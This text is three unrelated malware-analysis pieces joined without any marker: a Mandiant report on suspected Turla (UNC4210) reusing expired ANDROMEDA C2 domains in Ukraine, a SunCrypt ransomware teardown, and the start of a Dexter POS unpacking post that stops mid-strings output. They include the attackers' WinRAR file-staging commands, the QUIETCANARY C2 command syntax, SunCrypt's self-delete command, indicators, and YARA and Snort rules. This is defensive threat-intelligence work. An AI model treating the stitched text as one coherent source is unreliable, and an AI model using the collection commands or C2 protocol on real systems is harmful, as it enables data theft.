In September 2022, Mandiant discovered a suspected Turla Team operation, currently tracked as UNC4210, distributing the KOPILUWAK reconnaissance utility and QUIETCANARY backdoor to ANDROMEDA malware victims in Ukraine. Mandiant discovered that UNC4210 re-registered at least three expired ANDROMEDA command and control (C2) domains and began profiling victims to selectively deploy KOPILUWAK and QUIETCANARY in September 2022.
ANDROMEDA was a common commodity malware that was widespread in the early 2010s. The particular version whose C2 was hijacked by UNC4210 was first uploaded to VirusTotal in 2013 and spreads from infected USB keys. Mandiant Managed Defense continues to observe ANDROMEDA malware infections across a wide variety of industries; however, Mandiant has only observed suspected Turla payloads delivered in Ukraine.
## USB Spreading
As Mandiant recently wrote about in our blog post, USB spreading malware continues to be a useful vector to gain initial access into organizations. In this incident, a USB infected with several strains of older malware was inserted at a Ukrainian organization in December 2021. When the system's user double-clicked a malicious link file (LNK) disguised as a folder within the USB drive, a legacy ANDROMEDA sample was automatically installed and began to beacon out.
### ANDROMEDA or 2013 Wants Its Malware Back
The version of ANDROMEDA that was installed to `C:\Temp\TrustedInstaller.exe` (MD5: `bc76bd7b332aa8f6aedbb8e11b7ba9b6`), was first uploaded on 2013-03-19 to VirusTotal and several of the C2 domains had either expired or been sinkholed by researchers. When executed, the ANDROMEDA binary established persistence by dropping another ANDROMEDA sample to `C:\ProgramData\Local Settings\Temp\mskmde.com` (MD5: `b3657bcfe8240bc0985093a0f8682703`) and adding a Run Registry Key to execute it every time the system user logged on. One of its C2 domains, “suckmycocklameavindustry[.]in,” which had expired, was found to be newly re-registered on 2022-01-19 by a privacy protected registrant using Dynadot as the registrar. UNC4210 used this C2 to profile victims before sending the first stage KOPILUWAK dropper if the victim was deemed interesting.
Mandiant identified several different hosts with beaconing ANDROMEDA stager samples. However, we only observed one case in which Turla-related malware was dropped in additional stages, suggesting a high level of specificity in choosing which victims received a follow-on payload. During the time Mandiant monitored the C2s used to deliver the next stage payloads, the servers only remained up for a short period of a few days before going offline for several weeks at a time.
## Recon with Ol’ Reliable KOPILUWAK
After several months of ANDROMEDA beaconing without any significant activity observed, UNC4210 downloaded and executed a WinRAR Self-Extracting Archive (WinRAR SFX) containing KOPILUWAK (MD5: `2eb6df8795f513c324746646b594c019`) to the victim host on September 6, 2022. Interestingly, the attackers appeared to download and run the same WinRAR SFX dropper containing KOPILUWAK seven times between September 6 and September 8. Each time the KOPILUWAK cast its net, it attempted to transfer significant amounts of data to the C2 `manager.surro[.]am`. It is unclear why UNC4210 did this as the profiling commands are hard coded in KOPILUWAK and would not yield different sets of data from the same host.
KOPILUWAK is a JavaScript-based reconnaissance utility used to facilitate C2 communications and victim profiling. It was first reported publicly by Kaspersky and has been tracked by Mandiant since 2017. Historically, the utility has been delivered to victims as a first-stage malicious email attachment. This is consistent with Turla’s historical reuse of tools and malware ecosystems, including KOPILUWAK, in cyber operations.
The ANDROMEDA injected process “wuauclt.exe” made a GET request to “yelprope.cloudns[.]cl" with the target URL "/system/update/version.” yelprope.cloudns[.]cl is a ClouDNS dynamic DNS subdomain which was previously used by ANDROMEDA and was re-registered by UNC4210. The ANDROMEDA injected process then downloaded and executed a WinRAR SFX containing KOPILUWAK to `C:\Users\[username]\AppData\Local\Temp\0171ef74.exe` (MD5: `2eb6df8795f513c324746646b594c019`). Notably, this filename format has also been observed being utilized in Temp.Armageddon operations. Upon execution, the self-extracting archive created and executed KOPILUWAK from `C:\Windows\Temp\xpexplore.js` (MD5: `d8233448a3400c5677708a8500e3b2a0`).
In this case, UNC4210 used KOPILUWAK as a “first-stage” profiling utility as KOPILUWAK was the first custom malware used by this suspected Turla Team cluster following ANDROMEDA. Through KOPILUWAK, UNC4210 conducted basic network reconnaissance on the victim machine with `whoami`, `netstat`, `arp`, and `net`, looking for all current TCP connections (with PID) and network shares. The attackers also checked the logical disks and list of current running processes on the machine. Each command result was piped into `%TEMP%\result2.dat`, before being uploaded to KOPILUWAK's C2 `manager.surro[.]am` via POST requests.
## QUIETCANARY in the Mine
Two days after the initial execution of and reconnaissance performed with KOPILUWAK, on September 8, 2022, Mandiant detected UNC4210 download QUIETCANARY to a host twice, but only executing commands through it on the second time. QUIETCANARY is a lightweight .NET backdoor also publicly reported as “Tunnus” which UNC4120 used primarily to gather and exfiltrate data from the victim.
Following the extensive victim profiling by KOPILUWAK, the ANDROMEDA injected process "wuauclt.exe" made a GET request to "yelprope.cloudns[.]cl" with the target URL "/system/update/cmu", which downloaded and executed QUIETCANARY. QUIETCANARY (MD5: `403876977dfb4ab2e2c15ad4b29423ff`) was then written to disk. UNC4210 then interacted with the QUIETCANARY backdoor, proceeding to utilize QUIETCANARY for compressing, staging, and exfiltrating data approximately 15 minutes later.
## Data Theft
Mandiant observed interactive commands sent to and executed by QUIETCANARY. In one command observed, UNC4210 made a typo “netstat -ano -p tcppp” and had to reissue the command suggesting the following data theft was manual process rather than automated collection.
UNC4210 attempted to collect documents and data using WinRAR:
- **Data Collection Command**: `rar a c:\\programdata\\win_rec.rar`
- **Primary Command Operational Choices**: Creation of “win_rec.rar” archive containing files recursively found in “%appdata%\\microsoft\\windows\\" -u -y -r -m2 -inul
- **Data Collection Command**: `rar a c:\\programdata\\win_rec.rar "c:\\users\\" -u -y -r -m2 -inul -n*.lnk`
- **Primary Command Operational Choices**: Creation of “win_rec.rar” archive containing files with .lnk extension (namely Windows LNK shortcuts), recursively found in directories within “C:\Users\”
- **Data Collection Command**: `rar a c:\\programdata\\win_files.rar "c:\\users\\" "d:\\" -u -y -r -m2 -inul -n*.pdf -n*.xls* -n*.txt -n*.doc* -hp[redacted] -v3M -ta20210101000000`
- **Primary Command Operational Choices**: Creation of “win_files.rar” password (redacted) encrypted archive split in 3MB parts, containing files with extensions .pdf, .xls(x), .txt and .doc(x), which were modified after 2021-01-01, recursively found in directories within “C:\Users\” and “D:\”
- **Data Collection Command**: `rar a c:\\programdata\\win_txt.rar "c:\\users" "d:\\" -u -y -r -m2 -inul -n*.txt -hp[redacted] -v3M`
- **Primary Command Operational Choices**: Creation of “win_txt.rar” password (redacted) encrypted archive split in 3MB parts, containing files with extension .txt, recursively found in directories within “C:\Users\” and “D:\”
Notably, UNC4210 appeared to only exfiltrate files created after 2021/01/01.
## ANDROMEDA C2s
As Mandiant began to review additional ANDROMEDA domains, we observed several more similarly re-registered domains from older malware. One domain “anam0rph[.]su”, was re-registered on 2022-08-12 and resolved to the same IP as yelprope.cloudns[.]cl during the same period. Mandiant assesses with high confidence that “anam0rph[.]su” is also controlled by UNC4210, though we have not observed the domain being used in UNC4210 operations.
| Domain | Suspected Date of Re-Registration | IP Resolution |
|--------------------------------------|-----------------------------------|--------------------|
| anam0rph[.]su | 2022-08-12 | 212.114.52[.]24 |
| yelprope.cloudns[.]cl | Unknown (Dynamic DNS) | 212.114.52[.]24 |
| suckmycocklameavindustry[.]in | 2022-01-19 | 35.205.61[.]67 |
## Conclusion
As older ANDROMEDA malware continues to spread from compromised USB devices, these re-registered domains pose a risk as new threat actors can take control and deliver new malware to victims. This novel technique of claiming expired domains used by widely distributed, financially motivated malware can enable follow-on compromises at a wide array of entities. Further, older malware and infrastructure may be more likely to be overlooked by defenders triaging a wide variety of alerts.
This is Mandiant’s first observation of suspected Turla targeting Ukrainian entities since the onset of the invasion. The campaign’s operational tactics appear consistent with Turla’s considerations for planning and advantageous positioning to achieve initial access into victim systems, as the group has leveraged USBs and conducted extensive victim profiling in the past. In this case, the extensive profiling achieved since January possibly allowed the group to select specific victim systems and tailor their follow-on exploitation efforts to gather and exfiltrate information of strategic importance to inform Russian priorities. However, we note some elements of this campaign that appear to be a departure from historical Turla operations. Both KOPILUWAK and QUIETCANARY were downloaded in succession at various times, which may suggest the group was operating with haste or less concern for operational security, experiencing some aspect of operational deficiency, or using automated tools.
## Acknowledgements
With thanks to Nick Richard and Parnian Najafi for technical review. Special thanks to all the Mandiant Consultants, Mandiant Managed Defense, and Pokemon Masters supporting Ukraine engagements.
## Indicators
| Family | Indicator |
|--------------|---------------------------------------------|
| ANDROMEDA | bc76bd7b332aa8f6aedbb8e11b7ba9b6 TrustedInstaller.exe |
| ANDROMEDA | b3657bcfe8240bc0985093a0f8682703 mskmde.com |
| KOPILUWAK | 2eb6df8795f513c324746646b594c019 WinRAR SFX |
| KOPILUWAK | d8233448a3400c5677708a8500e3b2a0 xpexplore.js |
| QUIETCANARY | 403876977dfb4ab2e2c15ad4b29423ff 00c3df3b.exe |
| QUIETCANARY | 8954caa2017950e0f6269d6f6168b796 file.exe16 |
| UNC4210 ANDROMEDA C2 | suckmycocklameavindustry[.]in |
| UNC4210 ANDROMEDA C2 | yelprope.cloudns[.]cl |
| UNC4210 ANDROMEDA C2 | anam0rph[.]su |
| UNC4210 ANDROMEDA C2 | 212.114.52[.]24 |
| UNC4210 KOPILUWAK C2 | manager.surro[.]am |
| QUIETCANARY C2 | 194.67.209[.]186:443 |
## YARA Rules
### KOPILUWAK
```yara
rule M_APT_Kopiluwak_Recon_1 {
meta:
author = "Mandiant"
strings:
$rc4_1 = ".charCodeAt(i %"
$rc4_2 = ".length)) % 256"
$b64_1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
$b64_3 = ".charAt(parseInt("
$recon_1 = "WScript.CreateObject"
$recon_2 = ".Run("
$Arguments = "WScript.Arguments"
condition:
($rc4_1 and $rc4_2 and $b64_1) and ($Arguments or ($b64_3 and $recon_1 and $recon_2))
}
```
### QUIETCANARY
```yara
rule M_HUNTING_QUIETCANARY_STRINGS {
meta:
author="Mandiant"
strings:
$pdb1 = "c:\\Users\\Scott\\source\\repos\\Kapushka.Client\\BrowserTelemetry\\obj\\Release\\CmService.pdb" ascii wide nocase
$pdb2 = "c:\\Users\\Scott\\source\\repos\\Kapushka.Client\\BrowserTelemetry\\obj\\Release\\BrowserTelemetry.pdb" ascii wide nocase
$pdb3 = "c:\\Users\\Scott\\source\\repos\\BrowserTelemetry\\BrowserTelemetry\\obj\\Release\\BrowserTelemetry.pdb" ascii wide nocase
$orb1 = { 68 00 74 00 74 00 70 00 73 00 3A 00 2F 00 2F }
$orb2 = { 68 00 74 00 74 00 70 00 3A 00 2F 00 2F }
$command1 = "get_Command" ascii wide nocase
$command2 = "set_Command" ascii wide nocase
$command3 = "DownloadCommand" ascii wide nocase
$command4 = "UploadCommand" ascii wide nocase
$command5 = "AddCommand" ascii wide nocase
$command6 = "ExeCommand" ascii wide nocase
$command7 = "KillCommand" ascii wide nocase
$command8 = "ClearCommand" ascii wide nocase
$rc4 = {21 00 62 00 76 00 7A 00 65 00 26 00 78 00 61 00 62 00 72 00 39 00 7C 00 38 00 5B 00 3F 00 78 00 77 00 7C 00 7C 00 79 00 26 00 7A 00 6C 00 23 00 74 00 70 00 6B 00 7A 00 6A 00 5E 00 62 00 39 00 61 00 38 00 6A 00 5D 00 40 00 6D 00 39 00 6E 00 28 00 67 00 67 00 24 00 40 00 74 00 74 00 65 00 33 00 33 00 6E 00 28 00 32 00 72 00 7A 00 62 00 7A 00 69 00 74 00 75 00 31 00 2A 00 66 00 61 00 00 80 E9 4D 00 6F 00 7A 00 69 00 6C 00 6C 00 61 }
condition:
(1 of ($pdb*)) and (1 of ($orb*)) and (all of ($command*)) or ($rc4)
}
```
## Network Rules
### ANDROMEDA
```snort
alert tcp any any -> any any ( msg:"503 irc_bot_cmd Trojan.Downloader.Andromeda AI callback-trojan block"; content:".php HTTP/1"; nocase; content:"|0a|"; content:"|0a|"; within:4; content:"POST "; content:"Mozilla/4.0|0d 0a|"; content:!"Referer: "; nocase; content:!"Cookie: "; nocase; content:!"Accept-Language: "; nocase; content:!"Accept-Encoding: "; nocase; content:!"pharma"; nocase; content:!"|0d0a|TE:"; nocase; pcre:"/POST (http\:\/\/\S*\.[a-z0-9]{1,4})?/[a-z]{1,3}\.php HTTP/"; reference:fe_date,2013-07-11; reference:a_type,mal.dsh; reference:mal_hash,bc76bd7b332aa8f6aedbb8e11b7ba9b6; priority:90; sid:89039193; rev:3; )
```
## MITRE ATT&CK
| ATT&CK Tactic Category | Techniques |
|------------------------|------------|
| Defense Evasion | T1027: Obfuscated Files or Information |
| | T1055: Process Injection |
| | T1070.004: File Deletion |
| | T1112: Modify Registry |
| | T1564.003: Hidden Window |
| | T1622: Debugger Evasion |
| Persistence | T1547.001: Registry Run Keys / Startup Folder |
| Discovery | T1010: Application Window Discovery |
| | T1012: Query Registry |
| | T1033: System Owner/User Discovery |
| | T1049: System Network Connections Discovery |
| | T1057: Process Discovery |
| | T1082: System Information Discovery |
| | T1083: File and Directory Discovery |
| | T1518: Software Discovery |
| Collection | T1560: Archive Collected Data |
| | T1560.001: Archive via Utility |
| Resource Development | T1584: Compromise Infrastructure |
| | T1608.003: Install Digital Certificate |
| Command and Control | T1071.001: Web Protocols |
| | T1573.002: Asymmetric Cryptography |
| Impact | T1529: System Shutdown/Reboot |
## Annex: QUIETCANARY Analysis
QUIETCANARY is a .NET backdoor that can handle commands from C2. The communications between QUIETCANARY and the hard-coded C2 are RC4 encrypted and Base64 encoded over HTTPS. QUIETCANARY samples often contain the artifact “Kapushka” in the PDB path of the malware. All samples of QUIETCANARY we have identified in the wild have been nearly identical with the only differences being the hardcoded C2 and RC4 key used. Notably, each sample of QUIETCANARY we found contains but does not use the class ServerInfoExtractor.
### QUIETCANARY Execution
Upon execution, QUIETCANARY initializes the hard-coded variables within it for C2 communication, including the RC4 key, user agent, and C2. It then attempts to connect to the C2 via GET request.
QUIETCANARY checks to see if the initial response from the C2 is longer than 13 characters and begins with the string "use." If so, it takes the substring between the third and tenth characters from the response and replaces the initial RC4 key with a new key. If this initial connection or exchange of a new RC4 key is not completed, the malware sleeps for five minutes and tries again. If the malware fails to connect to the C2 again, it quits execution. Otherwise, QUIETCANARY begins a loop that waits for a response from the C2, and, when it receives one, parses and executes the command.
QUIETCANARY does not contain a persistence method and thus relies on an external tool or technique to maintain persistence.
### QUIETCANARY Commands
QUIETCANARY uses a custom parsing routine to decode the command codes and additional parameters from the C2 before executing the command routines.
QUIETCANARY expects the following structure for a command from the C2:
```
i <id> s <code val> l <length of parameter> c <parameter>
```
Where:
- `<id>` is a decimal command ID, which can be up to ten digits
- `<code val>` is a three-digit command code
- `<length of parameter>` is the length of an expected parameter, which can be up to six digits
- `<parameter>` immediately follows the "c" character in the array and is the length specified by `<length of parameter>`
For example, a command from the C2 could look like:
```
i123456789s220l26ccmd.exe echo "hello world"
```
When a command is successfully parsed, the command code is queried and returned.
QUIETCANARY can parse multiple commands in a single response from the C2. Upon receiving and successfully parsing a command, QUIETCANARY adds it to a command queue.
### QUIETCANARY Command Codes
| Command Code | Command Name | Command Description |
|--------------|----------------|---------------------|
| 0 | ClearCommand | Aborts current command execution thread and starts a new one |
| 220 | ExeCommand | Execute a command with arguments |
| 265 | TimeoutCommand | Sets a new time until C2 loop execution times out |
| 420 | UploadCommand | Uploads a command to a given path |
| 479 | DownloadCommand| Reads all bytes from a filepath and converts to Base64 encoding |
| 666 | KillCommand | Kills execution after a specified delay |
Given the different encodings of each command, we detail here how QUIETCANARY processes each command from the C2 before execution.
- **0: ClearCommand**: Aborts current thread of command execution and clears current command in the queue. Starts new command execution thread.
- **220: ExeCommand**: Checks to see if parameter starts with the " character. If so, creates a new string that begins with the "\" character and consists of each following character in the parameter until it reaches a second " character. If the parameter does not start with the " character, splits the parameter into substrings by space characters. Arguments directly follow the filename to execute. Then executes the process name with arguments in a hidden window.
- **265: TimeoutCommand**: Takes an integer parameter and changes the timeout value in seconds for the execution of the C2 loop.
- **420: UploadCommand**: Takes a "|" delimited parameter and splits into substrings. The first substring is the path to which the command should be uploaded. Converts each substring following the first from Base64 then writes to the given path on the infected machine.
- **479: DownloadCommand**: Checks to see if the file passed to the function within the parameter exists. If it does exist, prepends "file:" to the Base64-encoded bytes of the specified filepath. If it does not, returns "not found." Results of execution are stored in memory and later sent to C2.
- **666: KillCommand**: Takes an integer it uses to calculate a time for the malware to sleep. Then kills the process after the sleep.
QUIETCANARY separates the commands into two categories: fast commands and long commands. Fast commands are executed outside the timeout command structure. The commands will execute once received, and results will immediately be generated after execution. QUIETCANARY interprets ClearCommand and KillCommand as fast commands. Every other supported command is a long command. Long commands are held to a timeout structure. Once the commands are parsed, they are queued. Access to and execution of the commands is synchronized using the C# Monitor class.
It then generates a response string in the following format:
```
i<command id>l<length of result>r<result of command execution>
```
Where the value following the "r" character is "ok" if the command was successful, and, if the command execution was unsuccessful, the type of command followed by "error" (i.e., "kill error," "command error," etc.).
### QUIETCANARY’s Unused Code
The sample of QUIETCANARY we analyzed had an unused class called ServerInfoExtractor. The class contains a function that would get some Base64-encoded value from the following registry key:
- **Key**: `HKCU\Software\Microsoft\Fax\Verification`
If the value within the key is "No," the function returns the result "No." Otherwise, it Base64 decodes the contents and returns them. We suspect this registry value may be used to store some configuration in other versions of QUIETCANARY. Since no code is present in the QUIETCANARY sample that would set this configuration value, we assume this would be set by some method outside the malware.
### QUIETCANARY Network Communications
All network communications between QUIETCANARY and the C2 are RC4-encrypted and then Base-64 encoded. QUIETCANARY is proxy-aware and uses the System.Net.HttpWebRequest class to get any default proxy specified on the victim computer. The malware also dynamically generates a random PHP session ID to use when sending a GET request to the C2, which is added to the Cookie field in the request header. |
# A Detailed Analysis of The SunCrypt Ransomware
SunCrypt ransomware is a less sophisticated malware that has impacted multiple companies since 2019. The malware can run with one of the following parameters: `-noshares`, `-nomutex`, `-noreport`, `-noservices`, `-vm`, `-path`, `-justcrypt`, and `-keep_exe`. The ransomware kills a list of targeted processes and deletes all Volume Shadow Copies using COM objects.
The encryption is done using multithreading with I/O completion ports, which is a common technique used by most current ransomware families. SunCrypt uses a combination of Curve25519 and ChaCha20 algorithms during the encryption routine. The binary deletes the Windows event logs via two different methods and performs self-deletion at the end of the execution.
## Analysis and Findings
SHA256: `759f2b24be12e208903b00f9719db71a332ddf8252986c26afbcda9f32623bc4`
The malware forces the system not to display the critical-error-handler message box using `SetErrorMode (0x1 = SEM_FAILCRITICALERRORS)`.
The binary loads multiple DLLs into the address space of the process by calling the `LoadLibraryA` API. The list of DLLs contains `ntdll.dll`, `advapi32.dll`, `kernel32.dll`, and `rstrtmgr.dll`. An example of such a function call is displayed below:
`GetProcAddress` is utilized to retrieve the address of multiple exported functions: `strncpy`, `_atoi64`, `atoi`, `isxdigit`, `isdigit`, `memset`, `memcpy`, `NtSetInformationFile`, `SystemFunction036`, `SetVolumeMountPointW`, `RmStartSession`, `RmRegisterResources`, `RmGetList`, and `RmEndSession`.
SunCrypt can run with the following parameters: `-noshares`, `-nomutex`, `-noreport`, `-noservices`, `-vm`, `-path`, `-justcrypt`, `-keep_exe`. We’ll explain the purpose of each parameter in the upcoming paragraphs.
The ransomware uses the FNV hash function to compute 4-byte hash values that are compared with the hard-coded ones corresponding to different parameters. The implementation of the hash function can be spotted through the identification of the FNV prime (0x01000193).
The `GetCommandLineW` routine is used to extract the command-line string for the current process.
The malicious process retrieves an array of pointers to the command line arguments, along with a count of the arguments via a function call to `CommandLineToArgvW`.
`OpenProcessToken` is utilized to open the access token associated with the current process (0x20 = TOKEN_ADJUST_PRIVILEGES).
The malware performs multiple calls to `LookupPrivilegeValueA` in order to extract the locally unique identifier (LUID) for the following privileges: `SeTakeOwnershipPrivilege`, `SeBackupPrivilege`, `SeSecurityPrivilege`, `SeRestorePrivilege`, `SeDebugPrivilege`, `SeImpersonatePrivilege`, and `SeIncreaseBasePriorityPrivilege`.
The malicious executable enables the above privileges using the `AdjustTokenPrivileges` function.
SunCrypt retrieves information about the current system via a function call to `GetSystemInfo`.
The `GetModuleHandleA` routine is utilized to extract a module handle for `ntdll.dll`.
The malware retrieves version information about the operating system by calling the `RtlGetVersion` routine.
The binary creates a mutex called `0c91c96fd7124f21a0193cf842e3495f6daf84a394f44013e92a87ad9d2ef4a0ceec9dd2e2eca22e` in order to ensure that only one copy of the executable is running at a single time.
The executable takes a snapshot of all processes in the system using `CreateToolhelp32Snapshot (0x2 = TH32CS_SNAPPROCESS)`.
The processes are enumerated using the `Process32First` and `Process32Next` APIs.
SunCrypt targets a list of processes that will be killed:
- `ocssd`
- `dbsnmp`
- `synctime`
- `agntsvc`
- `isqlplussvc`
- `xfssvccon`
- `mydesktopservice`
- `ocautoupds`
- `encsvc`
- `firefox`
- `tbirdconfig`
- `mydesktopqos`
- `ocomm`
- `dbeng50`
- `sqbcoreservice`
- `excel`
- `infopath`
- `msaccess`
- `mspub`
- `onenote`
- `outlook`
- `powerpnt`
- `steam`
- `thebat`
- `thunderbird`
- `visio`
- `winword`
- `wordpad`
- `ssms`
- `notepad`
- `fdhost`
- `fdlauncher`
- `launchpad`
- `sqlceip`
- `sqlwriter`
The comparison between a process name and one of the above processes is employed using `StrStrIA`.
The ransomware opens a targeted process via a function call to `OpenProcess (0x1FFFFF = PROCESS_ALL_ACCESS)`.
The `TerminateProcess` routine is used to kill a targeted process.
The malicious file tries to locate the `winlogon.exe` process.
`OpenProcess` is used to retrieve a handle to the above process (0x400 = PROCESS_QUERY_INFORMATION).
The executable opens the access token associated with `winlogon.exe` (0xF = TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY).
The `DuplicateTokenEx` API is used to create a new access token that duplicates the token extracted above (0x2000000 = MAXIMUM_ALLOWED, 0x2 = SecurityIdentification, 0x2 = TokenImpersonation).
The process assigns the impersonation token to the calling thread using `SetThreadToken`.
SunCrypt sets the highest possible priority for the current process (0x100 = REALTIME_PRIORITY_CLASS).
The process I/O priority is set to 3 (High) via a function call to `ZwSetInformationProcess (0x21 = ProcessIoPriority)`.
A new thread is created by calling the `CreateThread` API.
There is a function call to `RevertToSelf` that terminates the impersonation.
## Delete Volume Shadow Copies
`CoInitialize` is used to initialize the COM library on the current thread.
The ransomware creates an `IWbemContext` Interface by calling the `CoCreateInstance` API with the `{674B6698-EE92-11D0-AD71-00C04FD8FDFF}` parameter.
The `IsWow64Process` routine is utilized to determine whether the current process is running on a 64-bit environment.
The malware creates an `IWbemLocator` object with the CLSID `{4590f811-1d3a-11d0-891f-00aa004b2e24}`.
The malicious executable calls the `ConnectServer` function for connecting to the local `ROOT\CIMV2` namespace.
There is a function call to `CoSetProxyBlanket` that sets the authentication information used to make calls on a proxy (0xA = RPC_C_AUTHN_WINNT, 0x3 = RPC_C_AUTHN_LEVEL_CALL, 0x3 = RPC_C_IMP_LEVEL_IMPERSONATE).
The malware retrieves an enumerator of all shadow copies using the following WQL query: `SELECT * FROM Win32_ShadowCopy`.
The id property value of a specific shadow copy is extracted using the `IwbemClassObject::Get` method.
The Volume Shadow Copies are deleted using the `DeleteInstance` function.
SunCrypt utilizes multithreading with I/O completion ports when encrypting files. The main purpose is to establish communication between the main thread and the worker threads that are responsible for file encryption.
The ransomware creates an I/O completion port that is not yet associated with a file handle using `CreateIoCompletionPort`.
The binary creates 4 (2 * number of cores) threads that will handle the files encryption (the IOCP handle is passed as a parameter).
The `GetLogicalDrives` API is used to extract a bitmask representing the available disk drives.
The drive type is retrieved via a call to `GetDriveTypeW`. It expects a return value that is less than or equal to 5.
SunCrypt verifies whether the Windows Boot Manager (bootmgr) file is present in any of the extracted drives using the `GetFileAttributesW` routine.
For example, the above file exists in the C drive, and this one will not be encrypted by the malware. This operation is unusual for most ransomware families, because other families choose to whitelist specific directories (“Program Files”) rather than avoiding to encrypt the drive completely.
The malware verifies the presence of a boot file called `bootmgr.efi`.
The `CreateThread` function is used to create a new thread that will traverse the targeted drive. It’s important to mention that there is no checking to determine if the drive is empty or not (for example, the D drive might correspond to a CD/DVD drive).
## Thread activity – sub_1235120 function
There is a comparison between the drive name and the `\\AppData` or `\\Application Data` strings.
`SetFileAttributesW` is utilized to set an attribute for the drive (0x80 = FILE_ATTRIBUTE_NORMAL).
The ransomware enumerates the above drive using `FindFirstFileW`; however, it corresponds to the DVD drive and it’s empty. This execution flow will be explained in detail when encrypting network shares.
We continue with the analysis of the main thread. The malware starts to enumerate the network resources via a function call to `WNetOpenEnumW (0x2 = RESOURCE_GLOBALNET, 0x0 = RESOURCETYPE_ANY, 0x13 = RESOURCEUSAGE_ALL)`.
The enumeration of network resources continues by calling the `WNetEnumResourceW` API.
The binary makes a connection to a network share using the `WNetAddConnection2W` routine.
SunCrypt starts enumerating a network share using `FindFirstFileW`.
A file extension is extracted by calling the `PathFindExtensionW` function.
The files that have the following extensions will be skipped: `.exe`, `.dll`, `.ocx`, and `.sys`. An example of such comparison is displayed.
The following directories/files will not be encrypted: `windows`, `$Recycle.bin`, `System Volume Information`, `ntldr`, `ntdetect.com`, `bootfont.bin`, `boot.ini`, and `YOUR_FILES_ARE_ENCRYPTED.HTML`. An example of such comparison is displayed.
The file enumeration continues by calling the `FindNextFileW` routine.
SunCrypt generates 32 random bytes by calling the `SystemFunction036` function.
This buffer represents a 32-byte secret key for Curve25519 (ECC algorithm). The ransomware jumps to the curve function that is used to compute the session public key (observe a base point of 09 followed by all zeros).
The capa tool identifies the implementation of the Curve25519 algorithm. The session public key computed above is shown.
The session public key is appended to the file chosen for encryption.
The ransomware opens the newly modified file using `CreateFileW (0xc0010000 = GENERIC_READ | GENERIC_WRITE | DELETE, 0x1 = FILE_SHARE_READ, 0x3 = OPEN_EXISTING, 0x50000000 = FILE_FLAG_OVERLAPPED | FILE_FLAG_RANDOM_ACCESS)`.
SunCrypt comes with a hard-coded Curve25519 public key.
The ransomware computes a shared secret between the above key and the generated session public key using the Curve25519 algorithm.
The shared secret is a 32-byte buffer that will be used to encrypt the targeted file using the ChaCha algorithm, as we will describe later on.
The binary adds the “expand 32-byte k” string to the above buffer, which suggests that the encryption algorithm will be Salsa20 or ChaCha.
SunCrypt associates the IOCP created earlier with the targeted file handle using the `CreateIoCompletionPort` API.
`PostQueuedCompletionStatus` is utilized to send an I/O completion packet to the IOCP.
The ransomware creates a ransom note called `YOUR_FILES_ARE_ENCRYPTED.HTML` in every directory (0x40000000 = GENERIC_WRITE, 0x1 = FILE_SHARE_READ, 0x1 = CREATE_NEW).
The ransom note is displayed below:
## Thread activity – sub_12115D0 function
The malicious process retrieves a handle that can be used to enumerate the list of channels that are registered on the local computer via a call to `EvtOpenChannelEnum`.
The enumeration starts by extracting a channel name from the enumerator using `EvtNextChannelPath`.
The purpose of the malware is to clear the event logs using the `EvtClearLog` routine.
The channels enumeration continues using the same API as above.
The ransomware opens the `SYSTEM\CurrentControlSet\Services\EventLog` registry key using the `RegOpenKeyA` function (0x80000002 = HKEY_LOCAL_MACHINE).
The file enumerates the subkeys of the above registry key using `RegEnumKeyA`.
SunCrypt opens a handle to the “Application” event log via a function call to `OpenEventLogA`.
The malware clears the “Application” event log using the `ClearEventLogA` API. This is the second method employed by SunCrypt to clear all event logs.
## Thread activity – sub_12363D0 function
A worker thread responsible for file encryption dequeues an I/O completion packet from the IOCP using `GetQueuedCompletionStatus`.
SunCrypt passes the ChaCha20 key along with the encrypted file name to the encryption function.
The ChaCha20 algorithm implementation is manual, and it doesn’t rely on Windows APIs.
The encrypted content is written to the file by calling the `WriteFile` API. The targeted files should be at least 512 bytes long; otherwise, they will not be encrypted by SunCrypt.
We continue with the analysis of the main thread. It’s worth mentioning that the events log deletion operation is repeated in the main thread with an identical execution flow.
The ransomware extracts the path of the current executable using `GetModuleFileNameW`.
The ransomware deletes itself via a function call to `CreateProcessW (0x8000000 = CREATE_NO_WINDOW)`.
## Command-line Parameters
| Parameter | Explanation |
|-------------|-----------------------------------------------------------------------------|
| -nomutex | No difference in execution |
| -noservices | No difference in execution |
| -noreport | No difference in execution |
| -vm | No difference in execution |
| -path | Encrypt a single directory |
| -noshares | Do not encrypt network shares |
| -keep_exe | Do not delete the executable |
| -justcrypt | Do not kill the targeted processes. Do not delete the Volume Shadow Copies |
SunCrypt proves that a relatively low-level complexity code could still produce significant damages. As opposed to ransomware families such as LockBit or Conti, the encryption of a system takes tens of minutes and can be detected by monitoring the CPU usage for a longer time period.
## Indicators of Compromise
**Mutex**
`0c91c96fd7124f21a0193cf842e3495f6daf84a394f44013e92a87ad9d2ef4a0ceec9dd2e2eca22e`
**SunCrypt Ransom Note**
`YOUR_FILES_ARE_ENCRYPTED.HTML`
**Processes spawned**
`cmd.exe /C ping 127.0.0.1 -n 10 > nul & del /f /q "<Path to executable>" > nul` |
# Unpacking Dexter POS "Memory Dump Parsing" Malware
I'm a big fan of Dexter. As I recently mentioned during an impromptu discussion with our first group of memory analysis training attendees, if there are only a few minutes left in an episode and he hasn't killed anyone yet, I start getting nervous. So when I heard there's malware named Dexter that has also been "parsing memory dumps" of specific processes on POS (Point of Sale) systems, I was excited to take a look. How exactly does this memory dump parsing occur? Is it scanning for .vmem files on an infected VM host? Maybe walking directories of network shares to find collections of past memory dumps taken by forensic teams? Perhaps acquiring a crash dump or mini-dump of the POS system itself? Turns out it's none of the above, and the memory dump parsing is just a `ReadProcessMemory` loop, but figuring that out was nonetheless a textbook example of how to use Volatility in a reverse-engineering malware scenario.
Getting started in the typical way, you can see Dexter is packed. There are PE sections named `.conas`, `.ts10`, `.ts20`, `.ts30`, `.ts40`, and `.ts50`; suspiciously named exports like `RenameHerbal`, `RenameFortation`, and `LoadMemberData`; only two imported APIs - `GetKeyboardState` and `GetSystemWindowsDirectoryW`; and roughly 10% of the file is recognized by IDA as executable code (the rest is compressed/packed data).
If you needed further proof, you could check the strings:
```
$ strings -a ~/Desktop/dexter.exe
!This program cannot be run in DOS mode.
IRich,
.text
`.conas
.const
@.data
.ts050
@.ts040
@.ts030
@.ts020
@.ts010
iopiio
worG
uNqkObyOqdrSDunixUVSmOFucsNpJUJKkmpmqlUW
